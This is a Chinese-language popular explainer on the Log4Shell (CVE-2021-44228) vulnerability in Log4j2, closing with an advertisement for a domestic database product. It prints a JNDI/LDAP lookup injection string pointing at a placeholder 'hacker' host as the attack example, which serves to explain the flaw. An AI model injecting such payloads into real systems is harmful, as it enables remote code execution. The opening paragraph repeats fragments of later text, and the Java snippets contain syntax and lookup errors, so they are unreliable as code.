log4j干什么用的?看完这篇别再说不明白
log4j干什么用的?看完这篇别再说不明白那么这么一个知名的开源软件,肯定有很多人维护吧,为什么早没有发现这个问题呢?国内某网络安全公司技术人员表示,大概百分之80到90涉及到Java的开发都可能受到该漏洞的影响。连比利时政府官员都公开承认遭到此漏洞造成的网络攻击,导致比利时国防部的部分计算机网络多日处于关闭状态。即使是目前技术领先的各大互联网巨头也难以幸免,公开资料显示服务器易受到漏洞攻击的公司包括苹果、亚马逊、特斯拉、谷歌、百度、腾讯、网易、京东、Twitter、 Steam等。因为log4j 简易便捷、功能强大的特征,自从2001年诞生之后,就很快成作为基本集成模块而广泛应用于各类使用Java开源系统中。这天,来了一个不怀好意的家伙,在本来让你写用户名的框框里,写了一个功能语句,记录员老老实实的拆开包裹,一看写的是一条 “跑腿服务” 内容是“让跑腿小哥小李去哪儿哪儿哪儿把我滴七舅姥爷接过来”,于是记录员不假思索的按照地址,
最近,被全球广泛应用的组件Apache Log4j2 被曝出一个“核弹级”的高危漏洞,代号为CVE-2021-44228,又名Log4Shell,专家们将Log4Shell描述为"有史以来最大的漏洞"。攻击者可利用这个漏洞,向目标服务器发送恶意数据,当服务器在将数据写入日志时,触发Log4j2组件解析缺陷,进而在未经授权的情况下,实现远程执行任意代码。
LunaSec将其描述为"灾难性的设计失败"
Tenable说该漏洞是"有史以来最大,最关键的漏洞"
Ars Technica称其为"可以说是有史以来最严重的漏洞"
《华盛顿邮报》报道中安全专业人员的描述"接近世界末日"
不论是金融、政府,还是各大科技巨头,均未能幸免,其危害程度之高,影响范围之大,以至于不少业内人士将其形容为“无处不在的零日漏洞”。Log4j2到底是个啥,这个漏洞到底是怎么回事?它的出现,又该让我们思考些什么呢?今天我们来好好聊一聊。
外行人如何快速读懂Log4j2漏洞首先,log4j2 是个啥? 简单来说,log4j2是Log4j的2.0版本,Log4j是Apache开源项目中包含的Java日志库,通常用于收集和存储服务器上的活动记录(也就是日志),包括系统行为的时间、地点、状态等相关信息,便于在系统产生问题时工程师可以快速的定位和诊断。所以,他相当于是Java项目中一个不起眼的小小记录员,在业务旁边记录一条条的事件。
String name = "张三";
logger.info("{} 登录了系统" name);
//张三,登录了系统
String system = "{$java:os}";
logger.info("当前的系统版本是{}" name);
//系统版本是 Windows 7 6.1 Service Pack 1 architecture: amd64-64
在理想情况下,日志的记录是静态的文字,比如 我传入一个张三,记录员就会记一下“张三登陆了系统”,或者呢,它也可以使用log4j2的查询功能去完成一些系统变量的信息,比如系统版本之类的。这时候就要对信息打个包,我们用特殊的符号把查询语句包起来,表示说记录员不要直接抄啦,这个事务是需要单独处理的,比如这条记录员可能会记录成:“当前的系统版本是 Windows7 ...巴拉巴拉"。
因为log4j 简易便捷、功能强大的特征,自从2001年诞生之后,就很快成作为基本集成模块而广泛应用于各类使用Java开源系统中。这天,来了一个不怀好意的家伙,在本来让你写用户名的框框里,写了一个功能语句,记录员老老实实的拆开包裹,一看写的是一条 “跑腿服务” 内容是“让跑腿小哥小李去哪儿哪儿哪儿把我滴七舅姥爷接过来”,于是记录员不假思索的按照地址,把他请了进来。
//通过jndi:ldap去访问一个网络地址
String name = "${jndi:ldap://127.0.0.1/hacker}";
logger.info("{} 登录了系统" name);
//JNDI:JAVA命名和目录接口
//LDAP:轻量级目录访问协议
是的,如此操作之后,一个不是你公司的人,已经可以随意在你们公司的线上服务器上蹦跶了。这个操作没有任何的验证和控制,从而导致了悲剧的发生。此刻你的电脑可能已经被人用户加密货币挖掘、创建僵尸网络、 发送垃圾邮件、 建立后门和勒索软件攻击等各种非法活动。
全球性安全危机的背后这个漏洞存在于 Log4j2在2013年9月之后发布的所有版本,因为Log4j2广泛的适用性,且漏洞的执行非常简单,这个消息在全球计算机领域引发巨大的安全危机,Apache 给 Log4Shell 的CVSS严重性评分为最高级别 10分。
国内某网络安全公司技术人员表示,大概百分之80到90涉及到Java的开发都可能受到该漏洞的影响。连比利时政府官员都公开承认遭到此漏洞造成的网络攻击,导致比利时国防部的部分计算机网络多日处于关闭状态。即使是目前技术领先的各大互联网巨头也难以幸免,公开资料显示服务器易受到漏洞攻击的公司包括苹果、亚马逊、特斯拉、谷歌、百度、腾讯、网易、京东、Twitter、 Steam等。
那么这么一个知名的开源软件,肯定有很多人维护吧,为什么早没有发现这个问题呢?
事实上,从公开信息来看,在本次事件发酵之前,赞助 Apache Log4j2 项目的只有 3 人——是的,一个应用于整个互联网行业 " 半壁江山 " 的开源项目,是由三名志愿者在他们的业余时间进行维护工作的。像Log4j这种Java全生态的基础组件,又被应用在各种各样的衍生框架里,如果一旦崩塌,其影响将是破坏性的。虽然Apache已经放出补丁程序,但受影响的软件仍需时间去寻找并进行修补。
开源软件真的安全吗?安全事故给我们对开源软件的使用敲醒了警钟,开源软件是否真的安全?
虽然在遵照开源协议的情况下,使用开源软件拥有便捷、免费、维护者众多等优点,但事实上大部分开源软件都是作者利用业余时间开发的,许多项目已经被开发者置于放弃的边缘。如果像这样的小型软件项目都可以位于世界互联网基础设施的中心,那么还有多少其他潜在的定时炸弹呢?
千里之堤,溃于蚁穴,当我们去构建一个庞大的安全体系,需要花费巨大的研发成本;然而想要摧毁它 很可能就是一个小小的在暗处不被人注意的开源软件log4j。
那么在数据库领域,此类型的漏洞可能更为致命,因为数据库软件直接管理和存储数据,正如我们常见的SQL注入,当经验丰富的用户在查询时输入非预期的字段,可能就会涉及到安全问题,而当下不少科技公司正在使用开源的数据库,隐藏的风险不可小视。
在这种情况下,我们建议大家应该选择更加专业的数据库公司来提供相应的技术服务。例如纯国产的OushuDB云原生数据库,是顶级Apache项目hawq的开发团队完成的,提供了长期的技术支持和版本升级服务,可以给信息安全提供更好的保障,此类数据库是大家优先考虑的对象。
借助Log4Shell漏洞事件,作为一次全面了解网络空间的契机,让我们对发现自身存在的问题和不足,并提前做好预防措施,也是大有裨益的。
了解更多内容关注:公众号一朵数据云